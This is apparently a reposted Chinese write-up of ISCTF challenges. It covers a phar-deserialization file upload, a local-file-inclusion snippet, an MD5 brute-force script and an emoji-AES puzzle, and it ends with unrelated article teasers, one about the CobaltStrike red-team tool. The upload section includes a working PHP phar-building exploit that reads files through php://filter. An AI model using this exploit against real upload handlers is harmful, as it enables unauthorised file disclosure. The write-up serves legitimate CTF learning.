ISCTF

news2025/7/19 20:09:38

upload

upload,一道phar文件上传题目

<?php
class upload{
    public $filename;
    public $ext;
    public $size;
    public $Valid_ext;

    public function __construct(){
        $this->filename = $_FILES["file"]["name"];
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");//限制了后缀的类型
    }

    public function start(){
        return $this->check();
    }

    private function check(){

        if(file_exists($this->filename)){
            return "Image already exsists";
        }elseif(!in_array($this->ext, $this->Valid_ext)){
            return "Only Image Can Be Uploaded";
        }else{
            return $this->move();
        }
    }

    private function move(){
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
        return "Upload succsess!";
    }

    public function __wakeup(){
        echo file_get_contents($this->filename);
    }
}


class check_img{
    public $img_name;
    public function __construct(){
        $this->img_name = $_GET['img_name'];
    }

    public function img_check(){
        if(file_exists($this->img_name)){
            return "Image exsists";
        }else{
            return "Image not exsists";
        }
    }
}

public function __wakeup(){
        echo file_get_contents($this->filename);
    }这一段可以看出file_get_contents触发phar序列化,然后我们构造就可以

<?php
class upload{
    public $filename;
}
$a = new upload();
$a->filename="php://filter/read=convert.base64-encode/resource=../../../../flag";
$phar = new Phar('aaaaaaa.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

也就试路径这麻烦一点

 easy_upload easy_upload

扫描目录扫到一个www.rar

<?php2 error_reporting(0);
3 header("Content-Type:text/html;charset=utf-8");
4 $file = $_GET['file'];
5 if (isset($file)) {
6 if (preg_match("/flag|\.\.|\/\//i", $file)) {
7 echo "no hack";
8 exit();
9 }
10 include $file;
11 } else {
12 include("upload.php");
13 }

MISC

《MD5脏了》

g0at无意间发现了被打乱的flag:I{i?8Sms??Cd_1?T51??F_1?}
但是好像缺了不少东西,flag的md5值已经通过py交易得到了:88875458bdd87af5dd2e3c750e534741

I{i?8Sms??Cd_1?T51??F_1?}

因为题目提交的flag格式为,ISCTF{},可以看出用栅栏密码

栏数为5,然后需要爆破得到flag,本来直接套了7层循环,呃呃呃太大了跑不出来,看见了一个师傅写的脚本真的想不到,但是也有一个局限性,必须是数字才可以使用

<?php
for($i = 0;$i<99;$i++){
//如果字符串的长度为1,就在前面填充一个0
if(strlen($i)==1){
$i ='0'.$i;
}
for($b = 0;$b<99;$b++){
//如果字符串的长度为1,就在前面填充一个0
if(strlen($b)==1){
$b ='0'.$b;
}
for($c = 0;$c<999;$c++){
//如果字符串的长度为1,就在前面填充一个0
if(strlen($c)==1){
$c ='00'.$c;
//如果字符串的长度为2,就在前面填充一个00
}else if(strlen($c)==2){
$c ='0'.$c;
}
$num = "ISCTF{md5_is_11".$i.'1'.$b.'8'.$c.'}';
if("88875458bdd87af5dd2e3c750e534741"==md5($num)){
echo '密码为'.$num;
}

}
}
}

 可爱的emoji

下载文件需要解压,密码

 根据提示进行爆破,前三个是KEY,后面五个字符为字母

 

 解压出的文件都是,emoji表情包,然后进行emoji-aes

然后根据KEYISAES,,所以密钥是AES

获得flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/8071.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[山东科技大学OJ]1490 Problem F: 该按哪些键

Time Limit: 1 Sec Memory Limit: 128 MB Submit: 1693 Solved: 433 [Submit][Status] Description Peter在手机上打字时一直用全键键盘来输入&#xff0c;但最近不知道怎么搞的&#xff0c;把全键键盘弄丢了&#xff0c;只剩下了9键键盘。一项喜欢高科技的Peter却不会用9键…

彻底搞懂nodejs事件循环

nodejs是单线程执行的&#xff0c;同时它又是基于事件驱动的非阻塞IO编程模型。这就使得我们不用等待异步操作结果返回&#xff0c;就可以继续往下执行代码。当异步事件触发之后&#xff0c;就会通知主线程&#xff0c;主线程执行相应事件的回调。 以上是众所周知的内容。今天…

ASEMI整流桥D3KB100参数,D3KB100规格,D3KB100封装

编辑-Z ASEMI整流桥D3KB100参数&#xff1a; 型号&#xff1a;D3KB100 最大重复峰值反向电压&#xff08;VRRM&#xff09;&#xff1a;1000V RMS反向电压VR(RMS)&#xff1a;700 平均整流输出电流&#xff08;IO&#xff09;&#xff1a;3A 峰值正向浪涌电流&#xff08…

【论文阅读】时序动作检测系列论文精读(2019年)

文章目录1. BMN: Boundary-Matching Network for Temporal Action Proposal Generation论文目的——拟解决问题贡献——创新实现流程详细方法2. MGG: Multi-granularity Generator for Temporal Action Proposal论文目的——拟解决问题贡献——创新实现流程详细方法3. P-GCN: G…

稳压二极管的应用及注意事项

文章目录稳压二极管也被称为齐纳二极管 齐纳二极管和普通二极管的伏安特性曲线 齐纳二极管的工作原理 稳压二极管的伏安特性曲线的正向特性和普通二极管差不多&#xff0c;反向特性是在反向电压低于反向击穿电压时&#xff0c;反向申阳很大&#xff0c;反向漏电流极小。但是…

【学习笔记】AGC028/AGC007

AGC028 Removing Blocks High Elements 好仙啊。 我会转化&#xff01;&#xff01;问题转化为在原序列剩下的数中取ISISIS序列aaa,bbb&#xff0c;满足cx∣a∣cy∣b∣cx|a|cy|b|cx∣a∣cy∣b∣ 。对于没在a,ba,ba,b序列中的数&#xff0c;可以通过恰当放置使其不对前缀最大…

并发编程- synchronized,Lock及volatile的使用

文章目录并发编程的可见性问题解决方法synchronizedLockvolatile并发编程的可见性问题 多线程访问共享变量&#xff0c;造成线程不安全&#xff0c;最后的数值不对 public class VDemo {private static int num 0;public static void add() {num;}public static void main(St…

红队内网渗透神器--CobaltStrike安装教程

CobaltStrike介绍&#xff1a; CobaltStrike是一款渗透测试神器&#xff0c;被业界人称为CS神器。CobaltStrike分为客户端与服务端&#xff0c;服务端是一个&#xff0c;客户端可以有多个&#xff0c;可被团队进行分布式协团操作。 CobaltStrike集成了端口转发、服务扫描&…

Ubuntu 手动配置DNS

使用ping命令测试百度域名时发现&#xff0c;无法解析这个域名&#xff0c;说明当前系统上没有配置DNS服务器。配置DNS服务器的方式主要有以下两种&#xff1a; 目录 1、修改DNS配置文件 /etc/resolv.conf 2、修改网卡配置文件 /etc/network/interfaces 1、修改DNS配置文件 /e…

【附源码】计算机毕业设计JAVA宠物云寄养系统

【附源码】计算机毕业设计JAVA宠物云寄养系统 目运行 环境项配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; JAVA myba…

Vue3 - toRef() 使用教程

介绍 它可用于为响应式对象上的 property 创建 ref&#xff0c;这样创建的 ref 与其源 property 保持同步&#xff0c;当改变源 property 时&#xff0c;将更新 ref &#xff0c;反之亦然。 这段话有些晦涩难懂&#xff0c;其实用大白话说&#xff0c;就是当你使用 reactive 创…

如何拆分PDF成单页?这三个方法分享给你

很多朋友在平时的工作中&#xff0c;经常需要处理一些PDF格式的文件&#xff0c;但是如果PDF文件的占用空间太大&#xff0c;难以进行操作处理&#xff0c;这时我们就需要先将其拆分成多个小文件&#xff0c;那你们知道要怎么把PDF拆分成多个文件吗&#xff1f;今天我就来给大家…

RK3568平台开发系列讲解(LCD篇)DRM 显示框架

🚀返回专栏总目录 文章目录 一、DRM 显示框架二、DRM 驱动和 libdrm 交互过程2.1、GEM:2.2、KMS:三、DRM 驱动路径3.1、Uboot驱动路径3.2、内核驱动路径沉淀、分享、成长,让自己和他人都能有所收获!😄 📢DRM 英文名叫 Direct Rendering Manager,用来管理显示输出,图…

App Languages 批量导入管理flutter多语言文案

前段时间AppLanguages推出了iOS、Mac版的多语言文案导入功能&#xff0c;好几个小伙伴点赞&#xff0c;称其为“干货工具”&#xff0c;最近加班加点支持了flutter的多语言文案管理功能。 操作界面 批量导入 1&#xff09;需要选择lib文件夹的路径&#xff0c;方便创建和寻找…

2022年11月华南师范大学自考本科-计算机信息管理课程实验—《数据库系统原理》实践题目

《 计算机信息管理课程实验——数据库系统原理 》课程试卷 答卷提交说明&#xff1a; 在mysql环境下填写SQL命令完成以下实践的题目&#xff0c;并返回执行结果的截图&#xff0c;答卷的答题格式如下&#xff0c;包括三部分&#xff1a;题目&#xff0c;SQL文本代码&#x…

【测试开发面试】6家企业真实面试,最终成功入职外企......

目录&#xff1a;导读前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09;前言 粉丝小A 测试开发的…

3、HTML——注释、转义字符、超链接标签、锚链接、功能性超链接、列表标签、有序列表、无序列表、定义列表

目录 一、注释标签 二、转义字符 1、空格&#xff1a; 2、大于号/小于号&#xff1a;>/< 3、引号&#xff1a;" 4、版权&#xff1a;© 5、商标&#xff1a;& 6、常见转义字符 三、超链接标签&#xff1a;a 四、锚链接 1、跳转同网页位置 2、…

铁威马NAS如何开启二次验证提高系统安全性

想到登录TNAS时更安全&#xff1f;直接开启OTP二次验证&#xff0c;通过 TNAS mobile生成的一次性密码登录NAS存储&#xff0c;简单设置&#xff0c;提升TOS系统访问安全性给你TNAS双重保护。 1.首先&#xff0c;确认你的TOS系统在5.0.176以上&#xff1b; 2.登录TOS 系统后&…

中国为什么要发展人工智能

“基建狂魔”,这是很多网友对中国的爱称。一方面是知道中国的基础设施建设速度很快,另一方面也是对中国整体实力的信心。疫情时期,武汉方舱医院只用了10多天就完成了建造,震惊世界,也让国人骄傲。 如果只看现在,你可能会觉得中国有这样的速度,是理所当然。但如果你知道最…

FPGA SATA IP控制器的SATA接口调试记录

本文档是基于FPGA K7 SATA IP控制器的SATA接口调试记录&#xff0c;接口遵循标准的ACHI协议。 操作系统内核版本&#xff1a;5.4.18 由于K7PCIE只有3个bar&#xff0c;AHCI协议规定SATA控制器是在第四个BAR上&#xff0c;另外由于PCIE配置空间设备类寄存器和能力寄存器未配置成…